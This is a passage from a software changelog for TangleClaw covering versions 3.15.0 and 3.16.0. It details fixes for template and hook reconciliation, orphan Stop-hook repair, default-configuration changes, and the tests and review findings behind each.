  - **Tests**: 22 new across two files. `test/store.test.js → describe('_mergeBundledHookEntries (#158)')` adds 16 unit tests: canonical #158 incident shape, no-overwrite of existing `requires`, user-added-key preservation, matcher-mismatch no-cross-match, bundled-only-entry not inserted, both-sides-no-matcher index fallback, reordered-live entries matched by matcher key (not position), duplicate-matcher FIFO index queue, malformed-shape fail-open, multi-engine independent reconciliation, deep-clone defense, no-op when live has no hooks block, no-op when bundled has no hooks block, bundled-only-engine skipped silently (additive-at-entry-level contract), malformed bundled/live entries (null/string in array) skipped without throwing, entry-level-only contract (inner `entry.hooks[]` not recursed). `test/store.test.js → describe('_mergeBundledTemplate hook-entry reconciliation integration (#158)')` adds 2 file-roundtrip tests: end-to-end backfill written back to disk; byte-equal preservation when nothing to add (no rewrite on no-op — filesystem-agnostic content comparison, not mtime-based). `test/store.test.js → init describe → reconciles stale runtime methodology template hook entries against bundled on init (#158)` adds 1 init-level integration test seeding a pre-#146 runtime template into the test's templates dir, calling `store.init()`, and asserting the bundled prawduct template's `requires` reaches the reconciled file. `test/issue-158-syncEngineHooks-integration.test.js` adds 3 end-to-end tests covering the full chain (pre-reconcile bug-locked-in negative control + post-reconcile orphan suppression + post-reconcile-with-runtime hook injection), with `store._setBasePath` + `store.init()` isolation so the engine profile read isn't talking to the host's real `~/.tangleclaw/`. 1834 total passing (was 1812 at v3.16.0).

## [3.16.0] - 2026-05-12

> 🚀 **Default-behavior change for new projects + safety/cleanup bundle.** New TangleClaw projects now default to **silent prime delivery** (#129) — cleaner-scrollback session starts via Claude Code's `SessionStart` hook instead of typed-prime via the terminal. Existing projects with explicitly persisted `silentPrime: false` continue to honor that setting; non-Claude engines are untouched (capability-gated). Bundled with three substantive bug fixes / housekeeping items: the **methodology-flip cleanup audit** that closed out the #145 series with the codebase's **first ADR** formalizing the symmetric-capability-gates pattern (#145 chunk 3); **retirement of the `methodology: null` semantic** — the dead-code removal branch is gone, projConfig defaults align with the DB schema, and the API now rejects null with a pointer to `'minimal'` (#151); **auto-reconcile of bundled methodology templates on server start** — runtime templates at `~/.tangleclaw/templates/` self-heal when bundled updates ship (#136), matching the #119 engine-profile pattern. Anyone on v3.15.0 will get the update-pill notification with a clickable link to this release page.

### Fixed

- **Bundled methodology template updates reach existing installs on next server start (#136)** — `~/.tangleclaw/templates/<methodology>/template.json` is a one-shot copy of the bundled `data/templates/<id>/template.json` from `lib/store.js:_copyBundledTemplates`. The original copy logic was gated on `if (!fs.existsSync(destFile))` — once a runtime template was on disk, subsequent bundled updates never propagated. Result: v3.13.7's addition of `memory-update` to bundled `wrap.steps` shipped correctly but didn't reach any TC install whose runtime templates pre-dated v3.13.7. Every wrap from such an install continued to omit the MEMORY.md step in the AI-facing wrap text. Same drift class as #119 (engine profile bundled-runtime drift), just on the methodology-template axis instead of the engine-profile axis. The earlier #119 fix added `_mergeBundledProfile` to self-heal engine profiles; #136 adds the equivalent `_mergeBundledTemplate` for methodology templates.
  - **`lib/store.js:_mergeBundledTemplate(bundledPath, livePath)`** — mirrors `_mergeBundledProfile` for templates. Two reconciliation policies. (1) **Object fields**: recursively add missing keys from bundled into live (never overwrite, never delete) — same `addMissing` closure pattern as the engine reconciler. Picks up brand-new top-level template fields (e.g. a future `eval` block) without disturbing user customizations to existing fields. (2) **`wrap.steps` array**: if the live array is a strict ordered subset of the bundled array — i.e. the user is on an older version that's missing some bundled steps but hasn't reordered or added their own — replace with bundled. If the live array contains steps not in bundled, or appears in different order, the user has customized; leave alone and log at debug level so verbose-mode operators can see the divergence. The #136 incident shape (v3.13.7 added `memory-update` between `next-session-prime` and `commit`) is exactly the subset-replace case.
  - **`lib/store.js:_isOrderedSubset(needle, haystack)`** — pure helper used by the wrap.steps reconciliation policy. Returns true when every element of `needle` appears in `haystack` in the same relative order (possibly with intervening elements). Distinguishes "stale older version" from "user customization" without ambiguity.
  - **`lib/store.js:_copyBundledTemplates`** — the previously no-op else branch (`destFile` already exists) now calls `_mergeBundledTemplate` for `template.json` files. Other files in the methodology directory (scripts, README) are left alone — the user owns those after first copy and they aren't part of the additive-bundled-changes story.
  - **Safety**: fail-open on malformed JSON (same as `_mergeBundledProfile` and the chunk-2 orphan-hooks scan path); no migration step, no schema version bump, no manual intervention required by users. Next server restart picks up the bundled `wrap.steps` additions on every install and adds any new top-level object fields. Atomic write via `fs.writeFileSync` with `mode: 0o600` matches the existing reconciler's filesystem permissions.
  - **Scope limitation**: only the `wrap.steps` array is reconciled. Other arrays in bundled templates (`phases`, `init.directories`, `prime.sections`, `actions`, eval-dimension lists, hook entries) still drift on existing installs — the policies for object-id-keyed arrays and set-union semantics need their own design pass. Filed as **#155** for follow-up. The user-removed-step case (live missing a step that bundled has, where the removal was intentional rather than a stale-version artifact) is acknowledged-indistinguishable from the canonical stale-version case in `wrap.steps`; the chosen behavior is to re-add (treating user-side step deletions as something to re-introduce on next reconcile). A targeted regression test locks this in.
  - **Tests**: 17 new in `test/store.test.js`. `_isOrderedSubset` (6 — ordered subsequence, missing elements, reordered elements, non-array inputs, duplicate-element handling in both needle and haystack, empty haystack). `_mergeBundledTemplate` (10 — canonical #136 incident shape, user-added own step preserved, user-reordered preserved, identical no-op preserves mtime, missing top-level field added, existing field value preserved over bundled, recursive nested-key add, malformed JSON fail-open, missing bundled file no-op, plus the Critic-driven "user-removed step is re-added — acknowledged-limitation regression test"). `init` integration (1 — `reconciles stale runtime methodology template against bundled on init (#136)` exercises the full `_copyBundledTemplates` → `_mergeBundledTemplate` glue against a seeded stale `template.json`). 1812 total passing (was 1795).
  - **Critic-driven adjustments**: Independent Critic flagged 0 BLOCKERs / 2 MAJORs (one a non-defect verification, one a scope-limitation) / 3 MINORs / 3 NITs. Addressed in-chunk: (M2 — scope-limitation overpromise) CHANGELOG language narrowed from "self-heals every install" to explicitly scope the heal to `wrap.steps` + new top-level object fields; a follow-up issue **#155** was filed to track generalizing the array reconciliation to `phases`, `init.directories`, `prime.sections`, eval-dimension lists, and object-id-keyed arrays under a proper per-array policy table. (Min1) added 2 `_isOrderedSubset` edge cases — duplicate elements in needle/haystack with three sub-assertions, and empty-haystack handling. (Min3) added the "user-removed step is re-added on reconcile" test as the Critic recommended, locking in the acknowledged-indistinguishable-from-stale-older policy choice so a future contributor who wants the opposite behavior knows where to update it. NIT findings (log payload verbosity for empty live arrays, wording precision around "wrap text" vs "wrap.steps array", a redundant-but-correct length-check inside the wrap.steps reconciliation block) accepted as-is.

### Changed

- **`silentPrime` now defaults to `true` for new projects (#129)** — Per #103's chunk-3 wrap, the original silent-prime feature shipped with `DEFAULT_PROJECT_CONFIG.silentPrime: false` as a deliberate "opt-in until proven stable" stance. The acceptance criterion was *"~2 weeks of real use with no regressions."* The soak period is satisfied — silent prime has been the active delivery mechanism across the full #137 / #140 / #145 / #146 / #148 / #149 / #150 / #151 / #152 / #153 release cycle, the symmetric-capability-gates ADR locks in all four gates around it, and the prime-file cleanup contract (`sessions._removePrimeFile` on silent→typed transitions) is regression-tested. Flipping the default makes the cleaner-scrollback experience the standard for new projects without changing the per-project override semantics for anyone who explicitly persisted `silentPrime: false`.
  - **`lib/store.js:DEFAULT_PROJECT_CONFIG.silentPrime`**: `false` → `true`. Inline comment documents the post-#129 reasoning and points at the capability gate (`engineProfile.capabilities.supportsSilentPrime`) which continues to protect non-Claude engines (Codex / Gemini / Aider) regardless of this default — they fall through to the typed-prime path because their engine profiles don't advertise the capability.
  - **Backwards compatibility**: projects with explicit `silentPrime: false` in their `.tangleclaw/project.json` continue to honor that setting (the load merge preserves explicit values over defaults). Only projects with NO `silentPrime` field — newly-created projects, or pre-#103 projects that were never opened in the Settings modal — pick up the new default on next session launch.
  - **Tests**: 1 inverted in `test/projects.test.js` (`enrichProject exposes silentPrime: true by default (#129)` — was `false`); 1 inverted in `test/sessions.test.js` (`DEFAULT_PROJECT_CONFIG.silentPrime is true (#129 — soak satisfied)` — was `false`). 6 tests across `test/projects.test.js`, `test/sessions.test.js`, and `test/engines.test.js` updated to be explicit about `silentPrime: false` in their projConfig setup (rather than implicitly relying on the default). The two-step `beforeEach` pattern in `test/engines.test.js` (now writes a baseline `project.json` with explicit `silentPrime: false`) keeps the methodology-hook tests focused on the methodology hooks alone without the post-#129 baseline injecting an extra `SessionStart` entry. Two `silentPrime=true must not have been written` assertions in `updateProject` rejection tests were re-shaped from "load returns false" to "project.json does not exist" — intent-preserving across the default flip (`fs.existsSync(projConfigFile)` is the actual no-write check; the original `silentPrime === false` assertion would now assert the new default, masking a real persistence bug). 1795 total passing (unchanged from #151's count).

- **Retired the `methodology: null` semantic — every TC project has a methodology (#151)** — Closes the SQL-constraint blocker the #145 chunk 3 audit surfaced. The `PATCH methodology: null` path stacked a `ReferenceError` (fixed in chunk 3) on top of `SQLITE_CONSTRAINT_NOTNULL: NOT NULL constraint failed: projects.methodology` (the DB schema is `methodology TEXT NOT NULL DEFAULT 'minimal'` at `lib/store.js:521`). Rather than picking between "ALTER TABLE allow NULL + migration / treat-null-as-'minimal' / reject-null-at-API," #151 retired the null-methodology semantic entirely — per `docs/methodology-guide.md` *"Each project gets one methodology"* and `minimal` is explicitly the no-workflow methodology, the canonical way to clear methodology-specific behavior.
  - **`lib/projects.js:updateProject` methodology branch**: `updates.methodology === null` now returns a 400-style error: `"methodology cannot be null — to clear methodology-specific workflow, PATCH methodology to 'minimal'"`. The dead removal branch (~40 lines, lines 1157-1206 of the pre-fix file) deleted entirely. The chunk-3 ReferenceError hoist-fix is also retired with the removal — the bug it fixed lived on the now-unreachable removal path.
  - **`lib/projects.js:createProject`**: removed the `data.methodology === null` special case at line 144 that propagated null into projConfig (while the DB always defaulted to `'minimal'`, creating a split-brain). Default chain is now `data.methodology || config.defaultMethodology || 'minimal'` — both sources of truth agree. The `if (methodologyId)` guard around `methodologies.initialize` removed since methodologyId is now always truthy; the `methodologyTemplate || {}` fallback in the `engines.generateConfig` call simplified to plain `methodologyTemplate`.
  - **`lib/projects.js:attachProject`**: the trailing `config.defaultMethodology || null` fallback updated to `config.defaultMethodology || 'minimal'`. The `if (methodologyId)` guard around the post-attach `syncEngineHooks` call removed (methodologyId is always truthy after this fix; the guard was dead code).
  - **`lib/store.js:DEFAULT_PROJECT_CONFIG`**: `methodology: null` changed to `methodology: 'minimal'`. Aligns projConfig's source-of-truth with the DB schema's `NOT NULL DEFAULT 'minimal'`. Pre-#151, any reader of projConfig.methodology had to handle null even though the DB never produced it; that ambiguity is gone.
  - **API contract change**: technically a breaking change for callers using `PATCH /api/projects/:name` with `{ methodology: null }`. In practice not breaking because the path was completely unreachable (ReferenceError + SQL constraint) — no caller in the wild can have been using it successfully. Documented in this entry so search-engine-readers of "did TC remove a feature?" find the context.
  - **ADR 0001 updated**: incident catalog adds the #151 row; the "anti-patterns this ADR forbids" section gains a new entry — "split-brain default values" — codifying that DB schema defaults and in-memory config object defaults must agree on the canonical value. The methodology gate in the gates table is unchanged in shape, but the documented behavior is now "every project has one; null is rejected."
  - **Tests**: 4 new in `test/projects.test.js → methodology flip cleanup audit (#145, chunk 3)` describe block, 1 updated in `test/store.test.js`. (1) `PATCH methodology: null` returns the rejection error pointing at `'minimal'`; project state (methodology, hooks) unchanged after rejection — no destructive partial mutation on validation failure (replaces the chunk-3 `it.skip()` placeholder). (2) Combined `PATCH { name, methodology: null }` rejects without renaming the project on disk or in the DB — pre-fix the null-rejection lived inside the methodology branch *after* the rename branch had already mutated state; the new validation runs in the pre-mutation phase so combined-payload rejections don't leave half-applied changes (Critic Major). (3) `store.projectConfig.load` coerces on-disk `methodology: null` to `'minimal'` so pre-#151 installs upgrade cleanly without a separate migration pass (Critic Major). (4) `store.DEFAULT_PROJECT_CONFIG.methodology` equals `'minimal'`, not null — locks in the projConfig/DB alignment. `test/store.test.js → projectConfig defaults` updated to assert the new default. 1795 total passing (was 1791 + 1 skipped).
  - **Independent Critic ran during the chunk** per `feedback_critic_before_wrap.md`. Verdict: 2 BLOCKERs / 2 MAJORs / 1 MINOR / 2 NITs. All 5 substantive findings addressed in-chunk before the wrap. **B1**: `public/ui.js` Project Settings modal exposed a `<option value="none">None</option>` that POSTed `methodology: null` and would now produce a generic error toast for any user trying to save settings — the option also appeared in the create-project wizard (line 1051) and the methodology-switch confirmation modal's copy paths. All three call sites updated to drop the None pseudo-methodology; the picker now shows the real templates only, and `'minimal'` is the canonical no-workflow choice. **B2**: `server.js:980` bulk-import path passed `methodology: detectedMethodology ? detectedMethodology.id : (config.defaultMethodology || null)` directly to `store.projects.create` — would have hit `SQLITE_CONSTRAINT_NOTNULL` if a project with no detectable methodology was imported without a `defaultMethodology` configured. Fixed to fall through to `'minimal'`. **M1**: null-rejection originally lived inside the methodology branch after name + engine mutation paths — combined `PATCH { name: 'new', methodology: null }` would have renamed the project on disk + in the DB before the rejection fired. Moved the validation to the pre-mutation phase alongside the silentPrime validation; added a regression test for the combined-payload case. **M2**: existing on-disk `project.json` files written by pre-#151 TC carry an explicit `methodology: null` that the merge loop in `store.projectConfig.load` would propagate over the new `'minimal'` default — upgraded installs would still see null in projConfig. Added a one-line coercion at the end of `load` (`if (merged.methodology === null) merged.methodology = 'minimal';`) plus a regression test that writes a legacy-shaped project.json and asserts the coercion. **NIT-test-brittleness**: original null-rejection test asserted `errors.length === 1`, which would break for any future unrelated warning the path might surface — softened to `errors.some(e => /methodology cannot be null/i.test(e) && /'minimal'/.test(e))`. Two NITs from the Critic accepted as-is (CHANGELOG "API contract change" framing kept; ADR "split-brain default values" wording kept).

### Added

- **`docs/adr/0001-symmetric-capability-gates.md` — first ADR (#145 chunk 3)** — Documents the symmetric-capability-gates pattern as a permanent design principle for TC. Codifies the rule "when two locations encode the same conceptual state, every transition path between configurations must consistently update both" with the incident catalog (#103, #119, #136, #137, #140, #145, #151), the four currently-in-scope gates (methodology / engine / silentPrime / methodology hook `requires`), the matching callsite verification table, anti-patterns the ADR forbids, and the playbook for applying the pattern to future gates. The ADR is the new home for the rule the Critic surfaced on #103 PR #125; existing memory `feedback_symmetric_capability_gates.md` cross-references it.

### Fixed

- **Methodology-flip cleanup audit + latent `ReferenceError` on the removal path (#145, chunk 3)** — The third and final chunk of the #145 series closes the audit-and-document loop on the symmetric-capability-gates work that started with #103.
  - **What chunk 3 was scoped to verify**: does `PATCH /api/projects/:name` with a methodology change correctly strip the previous methodology's hook entries from `.claude/settings.json`? Existing behavior was implicit (`syncEngineHooks` rebuilds the `hooks` block from scratch each call, never carries forward) but had no regression test. Without a test, a future refactor of `syncEngineHooks` to "merge with existing instead of rebuild" would silently re-open the orphan-hook class.
  - **What the audit found**: the implicit behavior was correct — the canonical flip cases (prawduct → minimal, plus non-hook key preservation, plus silentPrime baseline survival across the flip) all work as expected. But the audit also uncovered a latent `ReferenceError` on the methodology-removal branch at `lib/projects.js:1174`: `currentTemplate` was declared with `const` inside an inner `if (project.methodology)` block (line 1160) but referenced outside that block in the extension-rule reset loop. The reference was in a temporal-dead-zone scope and would throw `ReferenceError: currentTemplate is not defined` on any `PATCH methodology: null` call where the project had a previous methodology. Never exercised by tests, never tripped in production because the UI doesn't currently expose a "remove methodology" affordance — but a real latent crash.
  - **Fix in `lib/projects.js`**: `currentTemplate` hoisted to outer scope as `let currentTemplate = null` so the extension-rule reset loop on line 1183 can still see it after the inner block closes. Minimal 2-line change; preserves all existing semantics.
  - **Second bug discovered in the same audit, scope-deferred**: with the `ReferenceError` fixed, the same removal path then throws `SQLITE_CONSTRAINT_NOTNULL: NOT NULL constraint failed: projects.methodology` at `lib/store.js:1278` because the schema is `methodology TEXT NOT NULL DEFAULT 'minimal'` (line 521) but the removal branch sets `storeUpdates.methodology = null`. Three reasonable fixes (ALTER TABLE allow NULL + migration / treat-null-as-'minimal' at the API / reject-null-at-API) require a product decision about how "no methodology" is modeled and which existing readers handle the NULL case. **Filed as #151 for its own session.** The chunk-3 hoist-fix stays — it's a real defect on a path that's now SQL-blocked rather than ReferenceError-blocked, and when #151 lands, this fix won't have to be re-done.
  - **Tests**: 4 new + 1 skipped placeholder in `test/projects.test.js → methodology flip cleanup audit (#145, chunk 3)` describe block. Scaffold helper sets up a prawduct project with the `tools/product-hook` runtime materialized on disk (so chunk-1's `requires` filter accepts the hooks), registers it via `store.projects.create({ ..., methodology: 'prawduct' })`, and triggers `engines.syncEngineHooks` to inject the prawduct entries — same low-level pattern as the existing silentPrime engine-flip tests at line 1076 (bypasses `projects.createProject`'s single-configured-`projectsDir` constraint). Coverage: (1) `PATCH methodology: prawduct → minimal` rebuilds hooks without any prawduct entries (canonical audit case the build plan asked for); (2) PATCH preserves non-hook keys in `.claude/settings.json` (`companyAnnouncements`, `permissions`) across the flip — same preservation contract chunk 2's bulk-repair locked in for the strip path; (3) `PATCH methodology: minimal → prawduct` materializes prawduct hooks (reverse-direction coverage required by ADR 0001 anti-pattern §4 — both directions of every paired transition need testing); (4) silentPrime baseline `SessionStart` hook survives methodology flip when opted in — locks in the capability-gate independence (methodology gate clears methodology entries, baseline gate is separate). The flip-to-null path is shipped as a `skip`-flagged placeholder test (`TODO #151: PATCH methodology: null strips all methodology hooks`) so the gap shows up in test-runner output and grep, not just in a prose comment. 1792 total (1791 passing + 1 skipped); was 1787 passing pre-chunk.
  - **Critic-driven adjustments**: Independent Critic flagged 0 BLOCKERs / 0 MAJORs / 5 MINORs / 2 NITs. All MINORs addressed in-chunk: (M1, M2, M3) ADR cited drifted/handwaved line numbers for the symmetric-gates callsite table (`line 1156`, `line 1090s`) — corrected to actual post-fix line numbers (1149, 1346, 1357) with branch-start lines for the methodology pair (1157 / 1201) added for symmetry; (M4) the `PATCH methodology: null` deferral was prose-only and easy to miss — added an `it.skip()` placeholder with a concrete TODO body for #151, so picking up that issue is grep-friendly; (M5) the original test block covered only the strip direction (prawduct → minimal) but ADR 0001 §"Anti-patterns" forbids single-direction regression tests — added the `minimal → prawduct` materialize-direction test as the fourth in the block. NITs accepted as-is (hoist-fix correctness already verified by passing tests; CHANGELOG verbosity acknowledged but not optimized).
  - **ADR shipped alongside**: `docs/adr/0001-symmetric-capability-gates.md` formalizes the pattern this entire #145 series exercised. The audit-confirmation tests above are the concrete enforcement of the ADR's "write a regression test that asserts the cleanup direction for every transition pair" guidance. With this ADR in place, future flag/field additions that affect on-disk state get the same treatment by default.
  - **#145 closeout**: chunks 1 + 2 + 3 are all merged. The build plan at `.claude/plans/issue-145-methodology-hook-preconditions.md` is now fully resolved. The deferred SQL-constraint follow-up (#151) is its own scope, not a #145 chunk.

## [3.15.0] - 2026-05-10

> 🚀 **Recommended upgrade for ALL TangleClaw users.** This release ships the **update-available pill release-notes link** (#149) **plus the full safety bundle for the orphan methodology-hook loop** that could put any prawduct-tagged project into an infinite Stop-hook → synthetic-user-message session-killing cycle (#145 chunks 1 + 2, plus the related symmetric-capability-gates fixes #137 and #140). The loop manifested live across multiple projects on 2026-05-10 — every install on v3.14.x or earlier should upgrade. After upgrading, the dashboard banner will auto-detect and one-click-repair any already-injected orphan hook blocks across your registered projects.

### Added

- **Update-available pill links to the GitHub release page (#149)** — The dashboard's update-notification pill (shipped in v3.13.0 as a text-only label) was missing the most important affordance: a way to actually see what's in the new release. Users saw "v3.X.Y available" but had no in-product path to the release notes — they had to manually navigate to GitHub. Closing this gap turns the pill from a passive notice into a one-click upgrade-discovery surface, and makes the update-notification mechanism a documented, prominent feature of TC (README addition + this entry).
  - **Backend in `lib/update-checker.js`**: new pure parser `_parseGitHubRemote(remoteUrl)` accepts the four remote forms real users + CI environments produce — `https://github.com/<owner>/<repo>(.git)?(/)?`, `https://<user>(:<token>)?@github.com/...` (gh-CLI tokenized clones), `ssh://git@github.com/...` (Docker / CI protocol form), and `git@github.com:<owner>/<repo>(.git)?` (classic SCP-style SSH) — and returns `{ owner, repo }` or null. Host match is case-insensitive (`GitHub.com` is served as a valid alias). Owner and repo are restricted to GitHub's character class `[A-Za-z0-9._-]+` as a defense-in-depth gate against malformed remotes propagating junk into the rendered href (with `esc()` as the actual escape boundary at the render layer). `_getReleasesUrlBase()` shells out to `git remote get-url origin`, hands the output to the parser, and returns `https://github.com/<owner>/<repo>/releases/tag/` on success or null on non-GitHub remotes / missing remote / git failure. `checkForUpdate()` and `getCachedStatus()` now include a `releaseUrl` field (e.g. `https://github.com/Jason-Vaughan/TangleClaw/releases/tag/v3.15.0`) built from the URL base + the raw tag string (preserves any leading `v` so the URL matches what GitHub serves). Fork installs link to their fork's release pages, not the canonical repo, since the URL follows the same `origin` that the tag-poll uses.
  - **Frontend in `public/landing.js`**: `loadUpdateStatus()` now wraps the version label in `<a class="update-pill-link" href="${esc(data.releaseUrl)}" target="_blank" rel="noopener noreferrer" title="View release notes">` when the API supplies `releaseUrl`. Falls back to plain text when `releaseUrl` is null/absent — so a v3.15.0+ frontend talking to a v3.14.0-era backend still surfaces the pill, just without the clickable link. The dismiss button, per-version localStorage key (`tc_updateDismissed_<version>`), and dismiss handler are unchanged.
  - **CSS in `public/style.css`**: `.update-pill-link` declared with `color: inherit` (link reads against the pill chrome, not the page's default link color), `text-decoration: underline` for affordance, `text-underline-offset: 2px` for legibility at 10px font size, and a `:hover { text-decoration: none }` swap to confirm interactivity on pointer.
  - **Security**: `href` value escaped through the same `esc()` helper used for all other rendered values, blocking attribute injection if a malformed remote URL ever slipped through `_getReleasesUrlBase`'s parser. `target="_blank"` paired with `rel="noopener noreferrer"` prevents tabnabbing — both attrs locked in by a structural test so a future edit can't drop them.
  - **README addition**: new "Stay Updated" section (positioned right after Quick Start so users see it immediately post-install) covers cadence (start + daily), per-version dismiss, privacy stance (one daily GET to whichever remote `origin` points at; no telemetry, no install fingerprinting), offline fallback (silent), and the upgrade command sequence (`git pull --ff-only && ./deploy/install.sh`). Forks get a clarifying note that the link follows their `origin` and not the canonical repo.
  - **Tests**: 39 new in `test/update-pill-link.test.js` covering three surfaces. (1) `_parseGitHubRemote` table-driven coverage: 14 accept cases (all four remote forms × `.git` / no-`.git` / trailing-slash combinations, case-insensitive host, tokenized clones, whitespace tolerance, real-world owner/repo characters) + 14 reject cases (non-GitHub hosts, extra path segments, empty/null/undefined, malformed protocols, file://, ftp://) + a defense-in-depth assertion that owners/repos with characters outside `[A-Za-z0-9._-]` are rejected. (2) `_getReleasesUrlBase` integration: derives a `/releases/tag/` URL from the test-runner's actual origin (shape assertion, owner-agnostic so fork test-runs still pass). (3) `getCachedStatus` shape: `releaseUrl` field is always present in the cached status, set to `null` not `undefined`, so the frontend's truthy gate never sees a `releaseUrl` of `undefined`. 6 frontend structural tests mirroring `test/orphan-hooks-banner.test.js` (anchor wrap when `releaseUrl` present, `target="_blank"` + `rel="noopener noreferrer"` lock-in, fallback-to-text branch when `releaseUrl` missing, `esc()` on `href`, dismiss-key regression guard, dismiss-button preservation). 2 CSS tests (inherited color + underline + hover toggle). 1787 total passing (was 1748).
  - **Critic-driven adjustments**: Independent Critic flagged 0 BLOCKERs / 0 MAJORs / 2 MINORs / 3 NITs. Both MINORs addressed in-chunk: (M1) original regex only matched bare `https://github.com/...` and `git@github.com:...` forms, silently downgrading to plain text on tokenized-https / ssh-protocol / case-variant hosts — fixed by extracting the regex into a pure `_parseGitHubRemote` helper that accepts all four real-world forms with case-insensitive host matching; (M2) original test only exercised the regex via the runner's real origin so edge URL shapes were uncovered — fixed by adding the 27-row table-driven coverage above plus the defense-in-depth assertion. N1 (owner/repo character-class assertion as defense-in-depth) folded into the M1 fix. N3 (README "once a day" wording vs the actual 60s-after-start cadence) corrected to "Shortly after each server start, then once every 24 hours after that." N2 (test-count claim in CHANGELOG is fragile) accepted as documentation of the current state.

### Fixed

- **Bulk-repair admin pathway for orphan hook entries — one-click escape hatch from the infinite Stop-hook loop (#145, chunk 2)** — Chunk 1 stopped TC from injecting orphan hook blocks going forward, but existing affected projects only self-heal on their next session-launch sync. The live incident on 2026-05-10 (TC-v3 itself + RentalClaw-Project both hit the orphan Stop hook → infinite hook-failure → synthetic-user-message loop in the same hour, with Notse experiencing a separate governance-gate block) elevated the chunk-2 bulk-repair from convenience to a safety/UX feature. Without it, a user opening any of the 7 latent prawduct projects between #146 merging and the next session launch hits a session-killing loop with no escape outside hand-editing `.claude/settings.json`. The chunk-2 path detects and strips those entries in one pass without waiting for sync.
  - **New `lib/projects.js:scanForOrphanHooks()`** — Read-only. Iterates all non-archived registered projects, reads each `.claude/settings.json`, walks every event's hook entries, and flags entries whose inner-command `command` strings reference `$CLAUDE_PROJECT_DIR/<path>` targets that don't exist on disk. Returns `{ scanned, projectsWithOrphans: [{ name, path, orphans: [{ event, index, matcher, missing, commands }] }], errors }`. Archived projects are skipped — they aren't candidates for live sessions. Parse failures on a project's settings.json are captured as `errors[]` entries rather than aborting the whole scan, so one corrupt project doesn't blind the dashboard to the others.
  - **New `lib/projects.js:repairOrphanHooks(projectName?)`** — Mutating sibling. Strips the orphan entries identified by the scan, preserves all kept entries and all non-hook keys (`companyAnnouncements`, `permissions`, etc.), and writes the file back atomically via tmp-file + same-directory rename. Idempotent — a second call on a freshly-repaired project finds nothing to remove and is a no-op (the file is NOT rewritten; mtime preserved, asserted by test). Single-target via optional `projectName` argument; passing a non-existent name returns a `Project not found` error rather than silently scanning all. When all entries under an event are orphans, that event key is removed; when all events are emptied, `settings.hooks` is removed entirely.
  - **Scope decisions** — (a) Classification looks for `$CLAUDE_PROJECT_DIR/<path>` and `${CLAUDE_PROJECT_DIR}/<path>` references only. Absolute paths in command strings (e.g. the silentPrime hook's `/Users/.../sessionstart-prime.sh`) are NOT probed because in shell commands they're ambiguous with CLI flags / URLs and the known incident shapes all involve the env-var form; a false-positive auto-strip would lose a legitimate hook. The TC-v3 incident shape is exactly this — orphan `$CLAUDE_PROJECT_DIR/tools/product-hook` entries coexisted with a working absolute-path silentPrime entry, and the latter must survive repair (asserted by a dedicated test). (b) Path traversal (`..` segments) and absolute-path entries inside captured groups are treated as not-orphan and skipped — the requires-filter (chunk 1) rejects them defensively, but here we fail-open because auto-stripping a hook is destructive. (c) Atomic write via tmp + rename so a crash mid-write can't corrupt settings.json.
  - **New endpoints in `server.js`** — `GET /api/projects/orphan-hooks-scan` returns the read-only inventory. `POST /api/projects/repair-orphan-hooks` accepts an optional `{ project: <name> }` body for single-target repair (otherwise repairs all). The GET route is registered before `GET /api/projects/:name` so the literal path wins matching (locked in by a regression test that asserts the inventory shape, not project shape). 400 BAD_REQUEST when `project` is non-string; 404 NOT_FOUND when the named project doesn't exist.
  - **Dashboard banner in `public/index.html` + `public/landing.js` + `public/style.css`** — When `loadProjects()` runs (initial load + 10s polling), it also fires `loadOrphanHooksInventory()` non-blocking. If the scan reports any orphans, an amber banner appears above the project cards with a count message, a `Repair All` button, and a `Details` button. The Repair button shows a `confirm()` dialog listing affected project names and explicitly noting "Non-orphan hooks and all other settings keys are preserved" before posting — preventing a user from mistakenly thinking this nukes all hooks. The Details button shows an `alert()` with the per-project event / matcher / missing-paths breakdown so the user can sanity-check what will be stripped before confirming repair. After a successful repair, `loadProjects()` reloads, the next scan returns empty, and the banner hides.
  - **Why not wait for next session-launch sync to self-heal** — Chunk 1's filter prevents future injections and existing affected projects would self-heal on their next TC-launched session. But the loop mechanic (Stop-hook failure → synthetic-user-message → new turn → Stop hook fires again) burns context and tokens with zero forward progress, and the user has no way to launch a session to trigger the heal because the very-next session hits the loop too. The bulk-repair endpoint is the only path that breaks the cycle without manual intervention.
  - **Cross-cutting reference** — Same #145 series as chunk 1. Pattern: when two locations encode the same conceptual state (here: the hook reference in `settings.json` and the runtime script on disk), all transition paths between configurations must consistently update both. Chunk 1 fixed the *creation* path (don't inject if runtime missing). Chunk 2 fixes the *cleanup* path (strip pre-existing injections). The full ADR formalizing the symmetric-capability-gates pattern is still deferred to chunk 3 along with the methodology-flip cleanup audit.
  - **Tests**: 47 new across two files. `test/orphan-hooks.test.js` (30 tests, 5 describe blocks): `_extractClaudeProjectDirPaths` (5 — basic, brace form, empty/null, multi-ref, trailing punctuation), `_hookEntryOrphanMissing` (4 — all-present, missing, traversal fails-open, malformed entry), `scanForOrphanHooks` (7 — basic orphan, working-Notse-shape negative, TC-v3 incident shape with silentPrime preservation, bare-project skip, malformed-settings.json error capture, archived skip, dashboard-detail shape), `repairOrphanHooks` (8 — strip-while-preserving, non-hook key preservation, all-orphan event removal, idempotency, single-target, not-found error, bare-project skip, mtime-preserved on no-op), `orphan-hooks API` (6 — GET 200 + shape, GET literal-vs-:name regression, POST-all repair, POST-single, POST 400 on non-string project, POST 404 on missing project). `test/orphan-hooks-banner.test.js` (17 tests, source-level structural assertions following the silentPrime-modal test pattern): markup shape (banner element, role, button ids, text slot), CSS amber treatment + hidden toggling, landing.js wiring (state init, loadProjects integration, scan endpoint call, render show/hide + singular/plural copy, repair POST + reload, confirm-dialog scope warning, details breakdown, init-time wiring) plus the 4 Critic-driven tests: M1 partial-failure toast-warn, M1 no-response toast, M1 thrown-error console.error + toast, N3 polling gate on `state.orphanHooksRepairInFlight`. 1748 total passing (was 1701 after chunk 1).
